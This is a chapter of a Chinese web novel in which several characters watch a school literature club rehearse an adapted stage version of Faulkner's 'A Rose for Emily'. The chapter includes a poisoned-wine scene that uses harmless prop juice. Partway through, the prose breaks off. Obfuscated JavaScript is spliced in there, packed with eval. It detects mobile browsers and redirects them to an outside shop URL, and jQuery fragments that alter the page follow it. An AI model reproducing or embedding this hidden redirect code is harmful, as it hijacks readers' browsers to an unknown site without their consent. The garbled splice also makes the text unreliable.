从校侦社出来时，下午的阳光已经开始偏斜。
景实跟在不死途身边，手里拿着从飞镖摊得到的小狗贴纸和校侦社送的纸花。她走得不快，但也不掉队。归零几次看向她，想问什么，最后又忍住了。
“景实，你觉得校侦社好玩吗？”归零问。
景实想了想，摸摸脑袋：“有点吵。”
“这个评价很准确。”
他们经过礼堂侧门时，文学社的学生正忙着搬道具。海报已经贴到了门口：
【文学社舞台剧：《献给艾米丽的一朵玫瑰花》】
海报上画着一栋旧宅、白裙女人、窗边玫瑰，以及一行手写体宣传语：【献给被时间困住的人。】
归零看着海报：“这是一篇欧美文学小说？”
“是威廉·福克纳的短篇。”一个抱着剧本的学生从布景后探出头，“不过我们做了改编。”
女生刚想继续介绍，舞台侧边忽然传来一个很轻的声音。
“原作里，最可怕的不是尸体。”
几人转头。说话的是一个穿白裙的女生。
她已经化了一半舞台妆，眼尾被浅灰色阴影压得很深，脸色在后台灯光下显得近乎透明。她坐在道具箱上，手里握着一只小小的灵摆，银色链条从指缝间垂下来，微微晃动。
她长得很漂亮。但那种漂亮并不明亮，更接近一朵开在阴天里的花。
旁边文学社成员小声介绍：“她叫伊集院千织，今晚饰演艾米丽。”
归零看着她手里的灵摆：“你们文学社还提供占卜服务？”
伊集院千织抬眼看她，语气很轻：“这可不是占卜。只是确认今天适不适合死人。”
后台忽然安静了一下。
那个抱剧本的学生尴尬地笑了：“千织，你别吓人家啦。”
伊集院笑了笑。她的笑很浅，根本没有到达眼底。
“开玩笑的。”
“她不像开玩笑。”归零小声在不死途耳边说了句。
不死途没有接话。
景实则明显不太喜欢后台的吵闹。学生搬道具的脚步声、音响试麦的杂音、有人反复喊“让一下”，都让她把地图往怀里收了收。
不死途低头问她：“太吵？”
景实点点头。
“那站我这边。”不死途往旁边让了半步，让她离正在搬道具的人群远一点。
抱剧本的学生赶紧把话题拉回来：“原作里的艾米丽小姐被家族、父亲、旧时代和镇上的目光困住。她一生都活在一栋没人愿意真正走进去的房子里。后来大家才发现，她把自己爱过的人留在了那栋房子里很多年。”
“我记得这篇小说。”到底还是老白见多识广，准确地将原文念出，“……那尸体躺在那里，显出一度是拥抱的姿势，但那比爱情更能持久、那战胜了爱情的熬煎的永恒的长眠已经使他驯服了……”
归零没接话。她这辈子不可能背出这样的长难句。
“对。”那学生松了口气，“不过原作太含蓄，舞台上不好表现。我们这版改成艾米丽被父亲长期压抑，最后在酒里下毒。不是为了写爽文复仇，是想让观众看见，她已经被逼到没有别的出口了。”
说到这里，她像是想起什么，声音放轻了一点：“之前我们的指导老师很温柔，排练结束就从不拖时间。她说家里有条老狗等她，年纪很大了，听见钥匙声会先抬头。”
“狗？”归零问。
“嗯，叫カズミ吧。”那学生挠了挠脸，“她说它很会等人。我们那时候还笑她，说这听起来不像狗，像家里人。”
伊集院千织低头拨了一下灵摆，轻飘飘地转回了话题。
“艾米丽不是被逼到没有出口。”她说，“是出口一直在那里，只是每次她走过去，都会有人告诉她，那不是给她开的门。”
这句话让后台安静了几秒。
舞台上正在排练“毒酒”那一幕。
饰演父亲的人是教导主任松原。
他四十多岁，头发梳得很整齐，穿着深色礼服。即使只是排练，也带着一种居高临下的腔调。
“艾米丽，你不能离开这里。”他对伊集院千织说，“外面的人只会无视你的身份，将你踩在脚下。只有父亲是在保护你。”
伊集院站在舞台中央，白裙垂到脚踝。她抬起头，看着松原，声音轻得像一根绷到极限的线。
“可是父亲，屋子里没有风。”
松原皱眉：“剧本里有这句？”
旁边文学社成员赶紧翻剧本：“没有，没有这句。”
伊集院笑了一下：“我加的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718575|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
松原的脸色沉下来：“校园祭不是让你发泄个人情绪的地方。按照剧本演。”
“好啊。”伊集院说。
她低头，拿起桌上的玻璃酒杯，动作温柔得近乎虔诚。
“这杯酒，是我献给您的玫瑰。”
这一句是剧本里的。可她说出来时，不像女儿献给父亲的毒酒，倒像是在向某种看不见的东西献祭。
不死途看着她。
归零低声道：“她很危险。”
“嗯。”不死途回答，没有继续深入。
景实没有插话。她低头整理着地图边角，那张小狗贴纸有一点点翘起来，她便用指腹慢慢压平。
后台另一侧，道具负责人抱着玻璃酒瓶从旁边经过，嘴里还在念叨：“松原主任每次都擅自加动作，万一撞翻桌子怎么办。果酒虽然是假的，瓶子可是真的……”
“果酒？”
道具负责人举起瓶子：“苹果汁兑食用色素。喝起来很难喝，但看着像酒。毒酒那幕用的。”
她打开瓶盖，让归零扫描了一下。
“无酒精，无明显毒物。”归零说，“难喝是真的难喝。”
道具负责人：“你怎么知道？”
“根据成分推测。”
“其实我们也尝过，确实难喝。”道具负责人有点不好意思地笑笑。
与此同时，后台入口传来一声很轻佻的口哨。
九十九俊介不知道什么时候溜到了礼堂侧门。他举着手机，镜头对准舞台上的伊集院千织。
“哟，千织大小姐今天演疯女人？这不是本色出演吗？”
伊集院的手停了一下。
松原脸色一沉：“谁让外人进后台的？出去！”
九十九笑嘻嘻地后退一步：“我又没进去。开放日嘛，拍点校园祭花絮不行？”
归零的光屏冷冷亮起。
“未经同意拍摄他人，建议没收设备。”
九十九看了她一眼，像是想回嘴，但不知为什么，到底没说出口。他晃了晃手机，转身消失在人群里。
伊集院重新低下头，手里的灵摆轻轻晃动。
她没有看九十九离开的方向，也没有看松原。
只是对着杯中那点浅色果汁，轻声说：“今天确实不适合活人。”